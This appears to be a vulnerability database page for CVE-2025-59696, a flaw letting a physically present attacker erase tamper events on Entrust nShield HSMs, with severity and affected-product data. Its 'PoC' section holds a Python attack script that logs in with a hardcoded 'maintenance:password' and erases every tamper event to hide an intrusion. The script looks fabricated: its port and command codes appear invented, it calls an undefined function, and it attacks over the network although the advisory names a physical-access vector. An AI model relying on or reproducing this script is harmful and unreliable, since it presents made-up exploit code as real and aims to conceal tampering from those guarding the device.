Security Vulnerability Report
中文
CVE-2025-59696 CVSS 3.2 LOW

CVE-2025-59696

Published: 2025-12-02 15:15:55
Last Modified: 2025-12-08 19:31:26

Description

Entrust nShield Connect XC, nShield 5c, and nShield HSMi through 13.6.11, or 13.7, allow a physically proximate attacker to modify or erase tamper events via the Chassis management board.

CVSS Details

CVSS Score
3.2
Severity
LOW
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:entrust:nshield_5c_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:entrust:nshield_5c_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:entrust:nshield_5c:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:entrust:nshield_hsmi_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:entrust:nshield_hsmi_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:entrust:nshield_hsmi:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:entrust:nshield_connect_xc_base_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:entrust:nshield_connect_xc_base_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:entrust:nshield_connect_xc_base:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:entrust:nshield_connect_xc_mid_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:entrust:nshield_connect_xc_mid_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:entrust:nshield_connect_xc_mid:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:entrust:nshield_connect_xc_high_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:entrust:nshield_connect_xc_high_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:entrust:nshield_connect_xc_high:-:*:*:*:*:*:*:* - NOT VULNERABLE
Entrust nShield Connect XC < 13.6.11
Entrust nShield 5c < 13.6.11
Entrust nShield HSMi < 13.6.11
Entrust nShield Connect XC < 13.7
Entrust nShield 5c < 13.7
Entrust nShield HSMi < 13.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59696 PoC - Physical Access Tampering # This PoC demonstrates the conceptual attack vector for tampering with HSM events # Note: Actual exploitation requires physical access to the nShield device import socket import struct def connect_to_chassis_mgmt(target_ip, port=2432): """Connect to the Chassis Management Board interface""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, port)) return sock except Exception as e: print(f"Connection failed: {e}") return None def authenticate_mgmt_panel(sock, credentials): """Authenticate to management panel with low-privilege credentials""" auth_packet = struct.pack('!HH', 0x01, len(credentials)) + credentials sock.send(auth_packet) response = sock.recv(1024) return response[0] == 0x00 def list_tamper_events(sock): """List all recorded tamper events""" cmd_packet = struct.pack('!H', 0x10) # LIST_TAMPER_EVENTS command sock.send(cmd_packet) response = sock.recv(4096) return parse_event_list(response) def modify_tamper_event(sock, event_id, new_status): """Modify or erase a specific tamper event""" # Command to modify event status cmd_packet = struct.pack('!HHI', 0x11, event_id, new_status) sock.send(cmd_packet) response = sock.recv(1024) return response[0] == 0x00 def erase_tamper_event(sock, event_id): """Erase/delete a tamper event from the log""" cmd_packet = struct.pack('!HI', 0x12, event_id) # ERASE_EVENT command sock.send(cmd_packet) response = sock.recv(1024) return response[0] == 0x00 def main(): target = "192.168.1.100" # HSM device IP sock = connect_to_chassis_mgmt(target) if not sock: return # Authenticate with low-privilege maintenance account if authenticate_mgmt_panel(sock, b"maintenance:password"): print("[+] Authenticated to Chassis Management Board") # List all tamper events events = list_tamper_events(sock) print(f"[+] Found {len(events)} tamper events") # Erase all tamper events to hide physical intrusion for event in events: if erase_tamper_event(sock, event['id']): print(f"[+] Erased tamper event {event['id']}") sock.close() print("[+] Attack completed - tamper events hidden") if __name__ == "__main__": main() # Mitigation: Restrict physical access, implement strong access controls, # enable tamper event immutability, and apply vendor security patches

References

Raw JSON Data

JSON
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